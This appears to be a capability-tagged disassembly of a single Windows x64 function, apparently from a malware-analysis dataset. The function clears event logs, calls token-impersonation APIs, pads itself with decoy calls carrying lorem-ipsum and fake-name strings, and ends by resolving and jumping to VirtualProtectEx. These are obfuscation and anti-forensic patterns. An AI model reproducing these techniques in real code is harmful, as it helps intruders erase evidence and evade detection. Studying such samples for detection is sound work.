Function at 0x412409
Capabilities:
Access the windows event log
Clear windows event logs
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x80], rax
mov rax, qword [0x004cc250]
mov qword [rsp + 0x68], rcx
cmp dword [rax], 0x4a7f
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], r8
jne 0x412d30
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rsp + 0x9c], r9d
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.RyleyJohns
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r12
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Aut_veritatis_praesentium_quasi_sed_omnis_odit_aspernatur_et_omnis_non_non
lea rcx, str.RoelMayer
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cbbd0]
mov rsi, qword [0x004cc1e0]
mov ecx, 0xbb6af1ac
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00413350
mov rdx, qword [0x004cbe40]
mov dword [rdx], eax
mov rax, qword [0x004cc370]
mov dword [rax], 0xbe8ddbf3
mov rax, qword [0x004cc330]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbc80]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rbx], eax
call rsi
mov rdi, qword [0x004cc080]
xor edx, edx
xor ecx, ecx
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [rdi], 0x17786f83
mov qword [rsp + 0x28], rax
call rax
mov ecx, 0x384c45dc
call fcn.00413350
mov rbx, qword [0x004cbcc0]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cbc40]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc110]
lea rcx, str.RoelBarrows
mov dword [rdx], eax
lea rdx, str.Dolor_dolor_aut_assumenda_quae_nobis_voluptatem_recusandae_officiis
mov rax, qword [rsp + 0x50]
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.Suscipit_animi_sunt_eius_in_aliquam_earum_voluptatem
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov ecx, 0xec40d866
call fcn.00413350
mov rdx, qword [0x004cbd20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cc0d0]
xor ecx, ecx
mov dword [rax], 0x81299e11
call rsi
mov rax, qword [0x004cbd10]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [0x004cbcd0]
mov r13, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov dword [r14], eax
call r13
mov rax, qword [0x004cc4a0]
mov rdx, qword [0x004cc470]
mov ecx, 0xb8e0330b
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc160]
lea rcx, str.FrancoKreiger
mov dword [rdx], eax
xor edx, edx
call rbx
lea r8, str.Id_iusto_error_facilis
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
call rbp
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x90], r11
call r11
mov rax, qword [0x004cbdc0]
mov dword [rax], 0x62985770
mov rax, qword [0x004cc390]
mov ecx, dword [rax]
call fcn.00413350
mov dword [rdi], eax
mov rax, qword [0x004cbbc0]
mov rdi, qword [0x004cbe50]
mov dword [rax], 0x4332c90c
mov rax, qword [0x004cc1b0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc2e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd40]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov edx, dword [r14]
mov rax, qword [0x004cc180]
lea rcx, str.MikelLarkin
mov dword [rax], edx
xor edx, edx
call rbx
mov ecx, dword [rdi]
call fcn.00413350
mov rdx, qword [0x004cc3a0]
mov ecx, 0x3805e293
mov dword [rdx], eax
call fcn.00413350
mov rdi, qword [0x004cc140]
xor edx, edx
lea rcx, str.Error_dolorem_voluptate_praesentium_aut_nesciunt_amet_sit
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x38], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc060]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf7f42717
mov rax, qword [rsp + 0x28]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov ecx, 0xa9d6a2d2
call fcn.00413350
mov rdi, qword [0x004cbbd0]
xor ecx, ecx
mov dword [rdi], eax
call r12
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r15
mov rax, qword [0x004cc150]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbe00]
mov rdx, qword [0x004cc220]
mov ecx, dword [rdi]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbc80]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rax, qword [0x004cc090]
xor edx, edx
xor ecx, ecx
lea r8, str.MyriamHagenesSr
mov dword [rax], 0x613faff4
call rbp
mov r14, qword [0x004cc320]
mov rdx, qword [0x004cc2f0]
xor ecx, ecx
mov eax, dword [r14]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc4d0]
xor ecx, ecx
mov dword [rax], 0xd75467ce
call r13
mov ecx, dword [rdi]
mov rax, qword [0x004cc460]
mov dword [rax], 0xda4f3dff
call fcn.00413350
mov rdx, qword [0x004cc100]
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [0x004cbce0]
mov qword [rsp + 0x88], r10
mov edx, dword [rax]
mov rax, qword [0x004cc1c0]
mov dword [rax], edx
xor edx, edx
call r10
mov rax, qword [0x004cc2d0]
lea rcx, str.Quam_et_quaerat_totam_dolorem_sit_esse_libero
mov edx, dword [rax]
mov rax, qword [0x004cc2c0]
mov dword [rax], edx
xor edx, edx
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.Aut_error_quod_vero
lea rcx, str.VivaConnelly
call rdi
xor ecx, ecx
call rsi
xor ecx, ecx
mov dword [r14], 0x89dfbb4
mov rax, qword [rsp + 0x38]
call rax
lea rdx, str.Aspernatur_et_dignissimos_commodi_quisquam_asperiores_ut_molestiae_tempora_perferendis_inventore
lea rcx, str.Quidem_facere_ratione_veniam
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call r14
xor ecx, ecx
call r12
xor edx, edx
lea rcx, str.CyrilRogahn
call rbx
lea rdx, str.Fugit_eum_necessitatibus_placeat_laboriosam_sint_ea
lea rcx, str.AubreyEmardIII
call rdi
xor edx, edx
lea rcx, str.MrLaronStrackeIV
call rbx
lea rdx, str.Porro_fuga_excepturi
lea rcx, str.OttilieGreen
call rdi
xor ecx, ecx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
lea rdx, str.Voluptas_praesentium_error_vitae
lea rcx, str.TyrellDaniel
call rdi
mov rax, qword [0x004cc0e0]
mov rdx, qword [0x004cbc80]
mov ecx, 0xbef29a62
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc340]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc440]
mov dword [rax], 0xa4e954c6
call r15
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cc310]
xor edx, edx
xor ecx, ecx
lea r8, str.Rerum_ipsam_aut_saepe
mov dword [rax], 0x52ebea8a
call rbp
xor ecx, ecx
call r15
mov rax, qword [0x004cc340]
mov dword [rax], 0xb60185cd
mov rax, qword [0x004cbe60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd20]
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x004cbde0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc400]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc370]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc140]
mov ecx, 0x99c3a981
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbcf0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cc460]
xor ecx, ecx
mov dword [rax], 0x5a7eaf19
call r14
mov r10, qword [rsp + 0x88]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r10
xor ecx, ecx
call r12
lea r8, str.BobbyBergstrom
xor edx, edx
xor ecx, ecx
call rbp
xor edx, edx
lea rcx, str.Eius_soluta_modi
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.KaylieBashirian
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004cbbd0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc70]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cbc60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc10]
mov r11, qword [rsp + 0x90]
xor ecx, ecx
mov dword [rdx], eax
call r11
xor edx, edx
lea rcx, str.EllieKautzer
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
lea rdx, str.Explicabo_quibusdam_non_placeat_sed_excepturi_et_praesentium_labore_qui_eius_nam
mov rax, qword [rsp + 0x48]
call rax
mov ecx, 0x7e855eb4
call fcn.00413350
mov rdx, qword [0x004cc200]
mov ecx, 0x419a3351
mov dword [rdx], eax
mov rax, qword [0x004cc0f0]
mov dword [rax], 0x9a10906
call fcn.00413350
mov r12, qword [0x004cc130]
mov r15, qword [0x004cc0b0]
mov dword [r12], eax
mov rax, qword [0x004cc2f0]
mov ecx, dword [r15]
mov dword [rax], 0xadf9a238
mov rax, qword [0x004cbdd0]
mov dword [rax], 0xa5a44349
call fcn.00413350
mov rdx, qword [0x004cbe70]
lea rcx, str.Mollitia_sed_in_totam_quia_corporis_ut_quaerat_minima
mov dword [rdx], eax
lea rdx, str.Est_aut_ut_consequuntur_fugit
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc380]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc210]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.ZulaRoberts
mov rax, qword [rsp + 0x48]
call rax
lea r8, str.Beatae_repudiandae_et_eaque
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cbc90]
mov rdx, qword [0x004cc470]
lea rcx, str.Consequatur_itaque_molestiae
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
mov ecx, dword [r15]
call fcn.00413350
mov rdx, qword [0x004cc340]
lea rcx, str.ArnoZemlak
mov dword [rdx], eax
mov rax, qword [0x004cc3d0]
mov rdx, qword [0x004cc1e0]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cc200]
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0x5c247bbb
call r15
mov rax, qword [0x004cc1e0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r12], eax
call r15
mov rax, qword [0x004cbbd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd00]
mov dword [rax], edx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rbp, qword [0x004cc240]
mov ecx, dword [rbp]
call fcn.00413350
mov rdx, qword [0x004cc430]
mov dword [rdx], eax
mov rax, qword [0x004cc350]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc390]
lea rcx, str.Est_et_perspiciatis_sit_est_doloremque
mov dword [rdx], eax
mov rax, qword [0x004cbc70]
lea rdx, str.Velit_molestiae_assumenda_officia_impedit
mov dword [rax], 0x53cf89b6
call rdi
mov ecx, 0x4df920f0
call fcn.00413350
mov rdx, qword [0x004cbd10]
mov dword [rdx], eax
mov rax, qword [0x004cbeb0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3b0]
mov ecx, 0x6e310608
mov dword [rdx], eax
mov rax, qword [0x004cbc80]
mov dword [rax], 0x636a0b15
call fcn.00413350
mov rdx, qword [0x004cbba0]
lea rcx, str.Recusandae_tempore_porro_rem_qui
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbc10]
lea rdx, str.Voluptatibus_et_vero_iusto
xor ecx, ecx
mov dword [rax], 0x28b8e5f5
mov rax, qword [rsp + 0x48]
call rax
mov edx, dword [rbp]
mov rax, qword [0x004cc120]
xor ecx, ecx
mov dword [rax], edx
call r15
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc160]
lea rdx, str.AlaynaBorerJr
lea rcx, str.DrOraFadel
mov dword [rax], 0x6c000477
call rdi
mov rax, qword [rsp + 0x40]
xor ecx, ecx
call rax
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cbcc0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc070]
mov dword [rax], edx
xor edx, edx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x004cc440]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbbc0]
mov r9d, dword [rsp + 0x9c]
mov dword [rsi], eax
mov rax, qword [0x004cc420]
mov edx, dword [rax]
mov rax, qword [0x004cbbf0]
mov dword [rax], edx
lea rdx, str.VirtualProtectEx
lea rcx, str.kernel32.dll
mov dword [rsp + 0x28], r9d
call fcn.0040fab1
mov r9d, dword [rsp + 0x28]
mov r8, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x110], rsi
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax